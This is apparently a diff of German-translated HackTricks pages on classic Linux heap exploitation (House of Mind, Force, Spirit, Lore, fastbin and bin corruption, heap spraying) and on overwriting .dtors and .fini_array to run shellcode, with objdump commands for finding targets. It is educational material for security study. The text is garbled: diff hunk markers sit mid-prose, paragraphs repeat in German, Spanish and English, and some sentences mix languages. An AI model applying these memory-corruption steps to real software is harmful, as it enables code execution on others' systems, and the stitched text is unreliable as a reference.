p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
…
@ -451,11 +360,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
}
In \[1] wird das Feld size und das Bit NON\_MAIN\_ARENA überprüft, das geändert werden kann, damit die Überprüfung true zurückgibt und heap\_for\_ptr() ausgeführt wird, das ein "and" auf "mem" ausführt und die 2,5 unwichtigsten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar\_ptr zugreift (als ob es sich um ein struct heap\_info handelt).
En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info)
Auf diese Weise, wenn wir beispielsweise einen Chunk bei 0x0804a000 kontrollieren und ein Chunk bei **0x081002a0** freigegeben wird, können wir die Adresse 0x08100000 erreichen und beispielsweise **0x0804a000** schreiben. Wenn dieser zweite Chunk freigegeben wird, wird heap\_for\_ptr(ptr)->ar\_ptr den Wert zurückgeben, den wir in 0x08100000 geschrieben haben (da auf 0x081002a0 das zuvor erwähnte "and" angewendet wird und von dort der Wert der ersten 4 Bytes, ar\_ptr, abgeleitet wird).
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr)
Dann wird \_int\_free(ar\_ptr, mem) aufgerufen, d.h. **\_int\_free(0x0804a000, 0x081002a0)**\
De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
@ -467,35 +376,35 @@ fwd->bk = p;
..}
Wie wir zuvor gesehen haben, können wir den Wert von av kontrollieren, da wir ihn in dem Chunk geschrieben haben, der freigegeben wird.
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
Wie unsorted\_chunks definiert ist, wissen wir, dass:\
Tal y como se define unsorted\_chunks, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Daher, wenn wir in av->bins\[2] den Wert von \_\_DTOR\_END\_\_-12 schreiben, wird in der letzten Anweisung in \_\_DTOR\_END\_\_ die Adresse des zweiten Chunks geschrieben.
Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo.
Das heißt, wir müssen am Anfang des ersten Chunks viele Male die Adresse von \_\_DTOR\_END\_\_-12 platzieren, weil av->bins\[2] sie von dort abruft.
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
An der Adresse, an der die Adresse des zweiten Chunks mit den letzten 5 Nullen landet, müssen wir die Adresse dieses ersten Chunks platzieren, damit heap\_for\_ptr() denkt, dass ar\_ptr am Anfang des ersten Chunks liegt und av->bins\[2] von dort abruft.
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
En the second chunk and thanks to the first one we overwrite the prev\_size with a jump 0x0c and the size with something to trigger -> NON\_MAIN\_ARENA
Im zweiten Chunk und dank des ersten überschreiben wir prev\_size mit einem Sprung von 0x0c und size mit etwas, um -> NON\_MAIN\_ARENA zu aktivieren.
Next in chunk 2 we put a lot of nops and finally the shellcode
Dann fügen wir viele Nops und schließlich den Shellcode in den zweiten Chunk ein.
This way \_int\_free(CHUNK1, CHUNK2) will be called and will follow the instructions to write in \_\_DTOR\_END\_\_ the address of the prev\_size of CHUNK2 which will jump to the shellcode.
Auf diese Weise wird \_int\_free(CHUNK1, CHUNK2) aufgerufen und die Anweisungen werden befolgt, um in \_\_DTOR\_END\_\_ die Adresse von prev\_size des CHUNK2 zu schreiben, der dann zum Shellcode springt.
Um diese Technik anzuwenden, müssen einige zusätzliche Anforderungen erfüllt sein, die den Payload etwas komplizierter machen.
To apply this technique, some additional requirements need to be met which complicate the payload a bit more.
Diese Technik ist nicht mehr anwendbar, da fast der gleiche Patch wie für unlink angewendet wurde. Es wird überprüft, ob die neue Site, auf die verwiesen wird, auch auf sie verweist.
This technique is no longer applicable as almost the same patch as for unlink was applied. It compares if the new site being pointed to is also pointing back to it.
**Fastbin**
Es ist eine Variante von The House of Mind
It is a variant of The house of mind
Wir möchten den folgenden Code ausführen, der nach der ersten Überprüfung der Funktion \_int\_free() erreicht wird
we are interested in executing the following code which is reached after the first check in the \_int\_free() function
fb = &(av->fastbins\[fastbin\_index(size)] —> wobei fastbin\_index(sz) —> (sz >> 3) - 2
fb = &(av->fastbins\[fastbin\_index(size)] —> Being fastbin\_index(sz) —> (sz >> 3) - 2
…
@ -503,61 +412,61 @@ p->fd = \*fb
\*fb = p
Auf diese Weise, wenn "fb" auf die Adresse einer Funktion in der GOT gesetzt wird, wird an dieser Adresse die Adresse des überschriebenen Chunks platziert. Dafür muss die Arena in der Nähe der dtors-Adressen liegen. Genauer gesagt muss av->max\_fast an der Adresse stehen, die wir überschreiben werden.
This way, if we put in "fb" the address of a function in the GOT, the address to the overwritten chunk will be placed at this address. For this, it will be necessary for the arena to be close to the dtors addresses. More precisely, av->max\_fast must be at the address we are going to overwrite.
Da wir mit The House of Mind gesehen haben, dass wir die Position von av kontrollierten.
Since with The House of Mind it was seen that we controlled the position of av.
Deshalb, wenn wir in das Feld size eine Größe von 8 + NON\_MAIN\_ARENA + PREV\_INUSE setzen, wird fastbin\_index() fastbins\[-1] zurückgeben, das auf av->max\_fast zeigen wird.
So if we put a size of 8 + NON\_MAIN\_ARENA + PREV\_INUSE in the size field -> fastbin\_index() will return fastbins\[-1\], which will point to av->max\_fast
In diesem Fall wird av->max\_fast die Adresse sein, die überschrieben wird (nicht die, auf die verwiesen wird, sondern diese Position wird überschrieben).
In this case, av->max\_fast will be the address that is overwritten (not the one it points to, but that position will be overwritten).
Außerdem muss der benachbarte Chunk des freigegebenen Chunks größer als 8 sein -> Da wir gesagt haben, dass die Größe des freigegebenen Chunks 8 beträgt, müssen wir in diesem falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk sein wird, muss am Anfang ein jmp stehen, der auf nops zeigt).
It must also be ensured that the contiguous chunk to the freed one must be larger than 8 -> Since we have said that the size of the freed chunk is 8, in this fake chunk we only have to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we will have to put a jump at the beginning that falls into nops).
Außerdem muss dieser falsche Chunk kleiner als av->system\_mem sein. av->system\_mem befindet sich 1848 Bytes weiter.
Additionally, this same fake chunk must be smaller than av->system\_mem. av->system\_mem is located 1848 bytes beyond.
Aufgrund der Nullen von \_DTOR\_END\_ und der wenigen Adressen in der GOT sind keine dieser Adressen geeignet, um überschrieben zu werden. Sehen wir also, wie wir fastbin anwenden können, um den Stack anzugreifen.
Due to the nulls in \_DTOR\_END\_ and the few addresses in the GOT, none of these addresses are suitable to be overwritten, so let's see how to apply fastbin to attack the stack.
Eine andere Angriffsmethode besteht darin, den **av** auf den Stack umzuleiten.
Another form of attack is redirecting the **av** to the stack.
Wenn wir die Größe so ändern, dass sie 16 anstelle von 8 beträgt, dann wird fastbin\_index() fastbins\[0] zurückgeben und wir können dies nutzen, um den Stack zu überschreiben.
If we modify the size to be 16 instead of 8 then: fastbin\_index() will return fastbins\[0\] and we can use this to overwrite the stack.
Dafür dürfen auf dem Stack kein Canary oder seltsame Werte vorhanden sein, tatsächlich müssen wir uns hier befinden: 4 Nullbytes + EBP + RET
For this, there should be no canary or weird values on the stack, in fact, we have to find ourselves in this: 4 null bytes + EBP + RET
Die 4 Nullbytes sind erforderlich, damit der **av** auf diese Adresse zeigt und das erste Element eines **av** ist das Mutex, das den Wert 0 haben muss.
The 4 null bytes are needed so that the **av** will be at this address and the first element of an **av** is the mutex that must be 0.
Der **av->max\_fast** wird das EBP sein und ein Wert, der uns helfen wird, die Einschränkungen zu umgehen.
The **av->max\_fast** will be the EBP and will be a value that will help us bypass the restrictions.
In **av->fastbins\[0]** wird die Adresse von **p** überschrieben und wird das RET sein, so dass der Shellcode ausgeführt wird.
In **av->fastbins\[0\]** will be overwritten with the address of **p** and it will be the RET, so it will jump to the shellcode.
Außerdem wird in **av->system\_mem** (1484 Bytes über der Position auf dem Stack) genügend Müll vorhanden sein, der es uns ermöglicht, die Überprüfung zu umgehen.
Also, in **av->system\_mem** (1484 bytes above the stack position) there will be enough garbage that will allow us to bypass the check that is performed.
Außerdem muss der benachbarte Chunk des freigegebenen Chunks größer als 8 sein -> Da wir gesagt haben, dass die Größe des freigegebenen Chunks 16 beträgt, müssen wir in diesem falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk sein wird, muss am Anfang ein jmp stehen, der auf nops zeigt, die nach dem size-Feld des neuen falschen Chunks stehen).
It must also be ensured that the contiguous chunk to the freed one must be larger than 8 -> Since we have said that the size of the freed chunk is 16, in this fake chunk we only have to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we will have to put a jump at the beginning that falls into nops that come after the size field of the new fake chunk).
**The House of Spirit**
In diesem Fall möchten wir einen Zeiger auf ein malloc haben, der vom Angreifer veränderbar ist (z. B. dass der Zeiger im Stack unter einem möglichen Überlauf zu einer Variablen liegt).
In this case, we seek to have a pointer to a malloc that can be altered by the attacker (for example, the pointer is on the stack below a possible overflow to a variable).
So könnten wir diesen Zeiger auf beliebige Ziele zeigen lassen. Nicht jeder Ort ist jedoch geeignet, die Größe des gefälschten Chunks muss kleiner als av->max\_fast und genauer gesagt gleich der angeforderten Größe bei einem zukünftigen Aufruf von malloc()+8 sein. Daher, wenn wir wissen, dass nach diesem verwundbaren Zeiger ein malloc(40) aufgerufen wird, muss die Größe des gefälschten Chunks 48 betragen.
Thus, we could make this pointer point wherever. However, not any location is valid, the size of the faked chunk must be smaller than av->max\_fast and more specifically equal to the size requested in a future call to malloc()+8. Therefore, if we know that after this vulnerable pointer a malloc(40) is called, the size of the fake chunk must be equal to 48.
Wenn das Programm beispielsweise den Benutzer nach einer Zahl fragt, könnten wir 48 eingeben und den veränderbaren malloc-Zeiger auf die nächsten 4 Bytes zeigen lassen (die möglicherweise zum EBP gehören, sodass die 48 dahinter bleiben, als ob es die Kopfgröße wäre). Außerdem muss die Adresse ptr-4+48 mehrere Bedingungen erfüllen (in diesem Fall ist ptr=EBP), d. h. 8 < ptr-4+48 < av->system\_mem.
For example, if the program asks the user for a number, we could enter 48 and point the modifiable malloc pointer to the next 4 bytes (which could belong to the EBP with luck, so the 48 remains behind, as if it were the size header). Additionally, the address ptr-4+48 must meet several conditions (in this case ptr=EBP), that is, 8 < ptr-4+48 < av->system\_mem.
Wenn dies zutrifft, wird beim nächsten malloc-Aufruf, den wir als malloc(40) angegeben haben, die Adresse auf den EBP gesetzt. Wenn der Angreifer auch kontrollieren kann, was in diesem malloc geschrieben wird, kann er sowohl den EBP als auch den EIP mit der gewünschten Adresse überschreiben.
If this is met, when the next malloc call that we said was malloc(40) is made, the address assigned to it will be the address of the EBP. In case the attacker can also control what is written in this malloc, they can overwrite both the EBP and the EIP with the desired address.
Ich denke, das liegt daran, dass wenn es freigegeben wird, free() speichert, dass an der Adresse, auf die der EBP auf dem Stack zeigt, ein Chunk mit der perfekten Größe für das neue malloc() gespeichert ist, und weist diesem die Adresse zu.
I think this is because when it is freed free() will save that at the address pointing to the EBP of the stack there is a chunk of perfect size for the new malloc() that is wanted to reserve, so it assigns that address.
**The House of Force**
Es wird benötigt:
It is necessary:
* Ein Überlauf zu einem Chunk, der es ermöglicht, den wilderness zu überschreiben
* Ein Aufruf von malloc() mit der vom Benutzer definierten Größe
* Ein Aufruf von malloc(), dessen Daten vom Benutzer definiert werden können
* An overflow to a chunk that allows overwriting the wilderness
* A call to malloc() with the size defined by the user
* A call to malloc() whose data can be defined by the user
Zuerst wird die Größe des wilderness-Chunks mit einem sehr großen Wert (0xffffffff) überschrieben, sodass jede ausreichend große Speicheranforderung in \_int\_malloc() behandelt wird, ohne den Heap erweitern zu müssen.
The first thing to do is to overwrite the size of the wilderness chunk with a very large value (0xffffffff), so any sufficiently large memory request will be handled in \_int\_malloc() without the need to expand the heap.
Zweitens wird av->top geändert, damit es auf einen vom Angreifer kontrollierten Speicherbereich zeigt, wie den Stack. In av->top wird \&EIP - 8 platziert.
The second step is to alter av->top to point to a memory area under the attacker's control, such as the stack. In av->top, \&EIP - 8 will be placed.
Wir müssen av->top überschreiben, damit es auf den vom Angreifer kontrollierten Speicherbereich zeigt:
We have to overwrite av->top to point to the memory area under the attacker's control:
victim = av->top;
@ -565,64 +474,77 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim erhält den Wert der Adresse des aktuellen wilderness-Chunks (des aktuellen av->top) und remainder ist genau die Summe dieser Adresse plus der Anzahl der Bytes, die von malloc() angefordert wurden. Wenn also \&EIP-8 bei 0xbffff224 liegt und av->top 0x080c2788 enthält, dann ist die Menge, die im kontrollierten malloc reserviert werden muss, damit av->top auf $EIP-8 für das nächste malloc() zeigt:
Victim collects the value of the current wilderness chunk address (the current av->top) and remainder is exactly the sum of that address plus the number of bytes requested by malloc(). So if \&EIP-8 is at 0xbffff224 and av->top contains 0x080c2788, then the amount we have to reserve in the controlled malloc for av->top to point to $EIP-8 for the next malloc() will be:
0xbffff224 - 0x080c2788 = 3086207644.
So wird der geänderte Wert in av->top gespeichert und das nächste malloc zeigt auf den EIP und kann überschrieben werden.
This way the altered value will be saved in av->top and the next malloc will point to the EIP and it can be overwritten.
Es ist wichtig zu wissen, dass die Größe des neuen wilderness-Chunks größer sein muss als die Anforderung des letzten malloc(). Das bedeutet, wenn das wilderness auf \&EIP-8 zeigt, wird die Größe genau im EBP-Feld des Stacks liegen.
It is important to know that the size of the new wilderness chunk is larger than the request made by the last malloc(). That is, if the wilderness is pointing to \&EIP-8, the size will be right in the EBP field of the stack.
**The House of Lore**
**SmallBin-Korruption**
**SmallBin Corruption**
Die freigegebenen Chunks werden je nach ihrer Größe in den Bin eingefügt. Bevor sie eingefügt werden, werden sie jedoch in unsorted bins gespeichert. Ein Chunk wird nicht sofort in seinen Bin eingefügt, sondern bleibt in unsorted bins. Wenn ein neuer Chunk reserviert wird und der zuvor freigegebene Chunk verwendet werden kann, wird er zurückgegeben, aber wenn ein größerer Chunk reserviert wird, wird der freigegebene Chunk in den entsprechenden Bin verschoben.
The freed chunks are placed in the bin based on their size. But before being placed, they are stored in unsorted bins. When a chunk is freed, it is not immediately placed in its bin but remains in unsorted bins. Then, if a new chunk is requested and the previously freed one can be used, it is returned, but if a larger one is requested, the freed chunk in unsorted bins is placed in its appropriate bin.
Um den anfälligen Code zu erreichen, muss die Speicheranforderung größer als av->max\_fast (normalerweise 72) und kleiner als MIN\_LARGE\_SIZE (512) sein.
To reach the vulnerable code, the memory request must be greater than av->max\_fast (usually 72) and less than MIN\_LARGE\_SIZE (512).
Si in den Bins ein Stück mit der richtigen Größe für die Anforderungen vorhanden ist, wird dieses nach dem Entkoppeln zurückgegeben:
Wenn im Bin ein Chunk mit der richtigen Größe vorhanden ist, wird dieser nach dem Entfernen zurückgegeben:
bck = victim->bk; Zeigt auf das vorherige Stück, dies ist die einzige Information, die wir ändern können.
bck = victim->bk; Zeigt auf den vorherigen Chunk, dies ist die einzige Information, die wir ändern können.
bin->bk = bck; Der vorletzte Chunk wird zum letzten, wenn bck auf den Stack zeigt, wird dem nächsten reservierten Chunk diese Adresse zugewiesen.
bin->bk = bck; Das vorletzte Stück wird zum letzten, falls bck auf den Stack zum nächsten reservierten Stück zeigt, wird ihm diese Adresse gegeben.
bck->fd = bin; Die Liste wird geschlossen, indem sie auf bin zeigt.
Es wird benötigt:
Reservieren Sie zwei mallocs, so dass der erste nach der Freigabe des zweiten überlaufen werden kann, nachdem er in seinen Bin eingefügt wurde (dh ein malloc größer als der zweite Abschnitt reserviert wurde, bevor der Überlauf stattfindet).
Erforderlich sind:
Der vom Angreifer gewählte Speicherbereich, der vom reservierten malloc kontrolliert wird.
Zwei malloc-Reservierungen, sodass nach der Freigabe des zweiten ein Überlauf im ersten erfolgen kann (d. h. ein größeres malloc als das zweite Stück reserviert wurde, bevor der Überlauf erfolgt)
Das Ziel ist es, wenn wir einen Heap überlaufen können, der darunter einen bereits freigegebenen Abschnitt mit seinem Bin hat, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieser Abschnitt der erste in der Bin-Liste wird und reserviert wird, wird die Bin getäuscht und glaubt, dass der nächste Abschnitt in der falschen Adresse liegt, die wir angegeben haben (zum Beispiel im Stack oder in der GOT). Wenn also ein weiterer Abschnitt reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Abschnitt an der gewünschten Position gegeben und er kann darauf schreiben.
Der vom Angreifer gewählte malloc-Speicher muss vom Angreifer kontrolliert werden.
Nachdem der modifizierte Abschnitt freigegeben wurde, muss ein größerer Abschnitt als der freigegebene reserviert werden, damit der modifizierte Abschnitt aus den unsortierten Bins entfernt und in seinen Bin eingefügt wird.
Das Ziel ist folgendes: Wenn wir einen Heap-Überlauf auf einem Heap durchführen können, der ein bereits freigegebenes Stück unter sich hat und in seinem Bin liegt, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieses Stück das erste in der Bin-Liste wird und reserviert wird, wird der Bin getäuscht und ihm wird gesagt, dass das letzte Stück in der Liste (das nächste Angebot) an der falschen Adresse liegt, die wir angegeben haben (zum Beispiel auf den Stack oder GOT). Wenn also ein weiteres Stück reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Stück an der gewünschten Position gegeben und er kann darauf schreiben.
Sobald er in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf zu ändern, damit er auf die gewünschte Adresse zeigt.
Nachdem das modifizierte Stück freigegeben wurde, muss ein größeres Stück als das freigegebene reserviert werden, damit das modifizierte Stück aus den unsortierten Bins entfernt und in sein Bin eingefügt wird.
Daher muss der Bin warten, bis malloc() ausreichend oft aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und die Bin täuscht, indem sie glaubt, dass der nächste Abschnitt in der falschen Adresse liegt. Dann wird der gewünschte Abschnitt gegeben.
Sobald es in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf so zu ändern, dass er auf die gewünschte Adresse zeigt.
Um die Schwachstelle so schnell wie möglich auszunutzen, wäre ideal: Reservierung des anfälligen Abschnitts, Reservierung des Abschnitts, der geändert wird, Freigabe dieses Abschnitts, Reservierung eines größeren Abschnitts als des zu ändernden, Änderung des Abschnitts (Schwachstelle), Reservierung eines Abschnitts derselben Größe wie der verwundbare Abschnitt und Reservierung eines zweiten Abschnitts derselben Größe, der auf die gewählte Adresse zeigt.
Der Bin muss warten, bis malloc() ausreichend oft aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und den Bin dazu bringt zu glauben, dass das nächste Stück an der falschen Adresse liegt. Anschließend wird das gewünschte Stück gegeben.
Zum Schutz vor diesem Angriff wird die typische Überprüfung verwendet, dass der Abschnitt "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Abschnitts, der im Stack angezeigt wird, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer auf irgendeine Weise (wahrscheinlich über den Stack) in der Lage sein, die Adresse von victim an die richtige Adresse zu schreiben. Damit es wie ein echter Abschnitt aussieht.
Um die Schwachstelle so schnell wie möglich auszunutzen, wäre ideal: Reservierung des anfälligen Stücks, Reservierung des zu modifizierenden Stücks, Freigabe dieses Stücks, Reservierung eines größeren Stücks als das zu modifizierende, Modifizierung des Stücks (Schwachstelle), Reservierung eines Stücks gleicher Größe wie das verwundbare und Reservierung eines zweiten Stücks gleicher Größe, das auf die gewählte Adresse zeigt.
Zum Schutz vor diesem Angriff wird die typische Überprüfung verwendet, dass das Stück "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Stücks, das auf dem Stack zeigt, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer auf irgendeine Weise (wahrscheinlich über den Stack) in der Lage sein, die Adresse von victim an die richtige Adresse zu schreiben. Damit es wie ein echtes Stück aussieht.
**Korruption LargeBin**
Die gleichen Anforderungen wie zuvor sind erforderlich und einige mehr, außerdem müssen die reservierten Abschnitte größer als 512 sein.
Die gleichen Anforderungen wie zuvor sind erforderlich und einige mehr, außerdem müssen die reservierten Stücke größer als 512 sein.
Der Angriff ist wie zuvor, dh der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Abschnitts so geändert werden, dass diese Größe - nb < MINSIZE ist.
Der Angriff ist wie zuvor, das heißt, der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Stücks so geändert werden, dass size - nb < MINSIZE ist.
Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned-Wert verglichen wird).
Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned-Wert verglichen wird)
Außerdem wurde ein Patch eingeführt, um es noch komplizierter zu machen.
**Heap Spraying**
Es besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer Schicht von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird 0x0c als Polster verwendet. Es wird versucht, zur Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit diesem Polster aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und zu 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.
Es besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer Schicht von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird 0x0c als Polster verwendet. Es wird versucht, auf die Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit diesem Polster aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und auf 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.
**Heap Feng Shui**
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Abschnitte zwischen freien Abschnitten verbleiben. Der zu überlaufende Puffer wird in einem der freien Abschnitte platziert.
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Stücke zwischen freien Stücken verbleiben. Der Puffer, der überlaufen werden soll, wird in einem der Lücken platziert.
**objdump -d ausführbar** —> Disas-Funktionen\
**objdump -d ./PROGRAMM | grep FUNKTION** —> Funktionadresse erhalten\
**objdump -d -Mintel ./shellcodeout** —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und die OpCodes zu extrahieren\
**objdump -t ./exec | grep varBss** —> Symboltabelle, um Adressen von Variablen und Funktionen zu extrahieren\
**objdump -TR ./exec | grep exit(func lib)** —> Um Adressen von Bibliotheksfunktionen (GOT) zu extrahieren\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Extrahiert die Adresse von puts, die in der GOT überschrieben werden soll\
**objdump -D ./exec** —> Disas ALL bis zu den Einträgen der plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info zur Funktion in gdb
## Interessante Kurse
@ -640,7 +562,7 @@ Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu struktur
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

52
reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md Normal file
View file

@ -0,0 +1,52 @@
# .dtors
{% hint style="danger" %}
Heutzutage ist es sehr **seltsam, ein Binärfile mit einem .dtors-Abschnitt zu finden**.
{% endhint %}
Die Destruktoren sind Funktionen, die **ausgeführt werden, bevor das Programm endet** (nachdem die `main`-Funktion zurückkehrt).\
Die Adressen dieser Funktionen sind im **`.dtors`**-Abschnitt des Binärfiles gespeichert und daher, wenn es Ihnen gelingt, die **Adresse** eines **Shellcodes** in **`__DTOR_END__`** zu **schreiben**, wird dieser vor dem Programmende **ausgeführt**.
Holen Sie sich die Adresse dieses Abschnitts mit:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Normalerweise finden Sie die **DTOR**-Marker **zwischen** den Werten `ffffffff` und `00000000`. Wenn Sie also nur diese Werte sehen, bedeutet das, dass **keine Funktion registriert ist**. Überschreiben Sie also die **`00000000`** mit der **Adresse** des **Shellcodes**, um ihn auszuführen.
{% hint style="warning" %}
Natürlich müssen Sie zuerst einen **Speicherort für den Shellcode finden**, um ihn später aufrufen zu können.
{% endhint %}
## **.fini\_array**
Im Wesentlichen handelt es sich hierbei um eine Struktur mit **Funktionen, die aufgerufen werden**, bevor das Programm beendet wird, ähnlich wie bei **`.dtors`**. Dies ist interessant, wenn Sie Ihren **Shellcode aufrufen können, indem Sie zu einer Adresse springen**, oder in Fällen, in denen Sie **zurück zu `main`** gehen müssen, um die **Schwachstelle ein zweites Mal auszunutzen**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Hinweis: Dies wird keine endlose Schleife erstellen, da der Canary bemerken wird, dass das Ende des Stacks möglicherweise beschädigt ist und die Funktion nicht erneut aufgerufen wird. Daher können Sie mit diesem einen weiteren Aufruf der Schwachstelle haben.
{% hint style="danger" %}
Beachten Sie, dass bei [Full Relro](../common-binary-protections-and-bypasses/relro.md) der Abschnitt `.fini_array` schreibgeschützt ist.
{% endhint %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

65
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
View file

@ -10,13 +10,13 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
